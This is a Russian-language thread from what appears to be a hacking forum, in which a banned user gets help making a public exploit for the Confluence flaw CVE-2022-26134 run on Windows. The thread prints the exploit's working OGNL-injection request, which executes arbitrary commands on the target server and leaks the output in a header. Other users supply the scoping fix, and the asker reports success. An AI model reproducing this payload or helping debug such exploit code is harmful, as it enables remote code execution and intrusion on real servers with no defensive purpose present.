• XSS.stack #1 – первый литературный журнал от юзеров форума

CVE-2022-26134

bongiorno

RAM
Забанен
Регистрация
16.07.2022
Сообщения
126
Реакции
10
Пожалуйста, обратите внимание, что пользователь заблокирован
Пытаюсь реализовать эксп с помощью кода https://github.com/h3v0x/CVE-2022-26134 на линуксе запускается без ошибок, на винде же выдает следующие ошибки:
msg-1394790558-7.jpg

И так далее, могу скинуть весь перечень ошибок, как стоит подредактировать? Либо у меня руки не оттуда растут
 
Снеси версию 3.10 и поставь 3.8. Это мб поможет как вариант. Если модуля не хватает там другой еррор пишет. Add python to windows path при установке галку ставил?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
"на линуксе запускается без ошибок, на винде же выдает следующие" - по идее не работало бы и на никсах. Скорее всего у тс не установлены какие то зависимости(модули), хотя могу и ошибаться.
Я скачал модули все, requests не импортировалось но после обновления pip через директорию питона скачалось, ща покажу
556f68ce-4c24-4143-82b7-daa5199c968b.jpg

Остальные модули анологично работают
 
Пожалуйста, обратите внимание, что пользователь заблокирован
24-29 строку копируешь, удаляешь и перемещаешь с отступом под if __name__ == "_ Сделал вот так(Иначе, как ты сказал там ошибка будет, ибо там 24-29 это 2 разных цикла):
Код:
    if __name__ == "__main__":
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate"}
        try:
            response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
            if(response.status_code == 302):
                print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

                inputBuffer = str(response.headers['X-Cmd-Response'])
                paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
            else:
                pass
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Теперь выдает ошибку после этого цикла "except requests.exceptions.ConnectionError: SyntaxError: expected 'except' or 'finally' block"
Перед try поставил, все так же
 
Последнее редактирование:
Я ничего не понял, я говорил об изначальном исходнике что на гитхабе.

24-29:
Python:
requestEngine = multiprocessing.Manager()
session = requests.Session()
global paramResults
paramResults = requestEngine.list(
globals().update(locals())

Его нужно удалить там и вынести под name=main:
Python:
if __name__ == "__main__":
    requestEngine = multiprocessing.Manager()
    session = requests.Session()
    global paramResults
    paramResults = requestEngine.list()
    globals().update(locals())
    parser = optparse.OptionParser()


Ибо после старта на windows - requestEngine будет пропадать с области видимости и потому он крашиться.
 
Пытаюсь реализовать эксп с помощью кода https://github.com/h3v0x/CVE-2022-26134 на линуксе запускается без ошибок, на винде же выдает следующие ошибки:
Посмотреть вложение 43197
И так далее, могу скинуть весь перечень ошибок, как стоит подредактировать? Либо у меня руки не оттуда растут
а wsl использоавть
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Снеси версию 3.10 и поставь 3.8. Это мб поможет как вариант. Если модуля не хватает там другой еррор пишет. Add python to windows path при установке галку ставил?
Версию тоже попробовал менять все так же
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я ничего не понял, я говорил об изначальном исходнике что на гитхабе.

24-29:
Python:
requestEngine = multiprocessing.Manager()
session = requests.Session()
global paramResults
paramResults = requestEngine.list(
globals().update(locals())

Его нужно удалить там и вынести под name=main:
Python:
if __name__ == "__main__":
    requestEngine = multiprocessing.Manager()
    session = requests.Session()
    global paramResults
    paramResults = requestEngine.list()
    globals().update(locals())
    parser = optparse.OptionParser()


Ибо после старта на windows - requestEngine будет пропадать с области видимости и потому он крашиться.
Все работает, большое спасибо
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх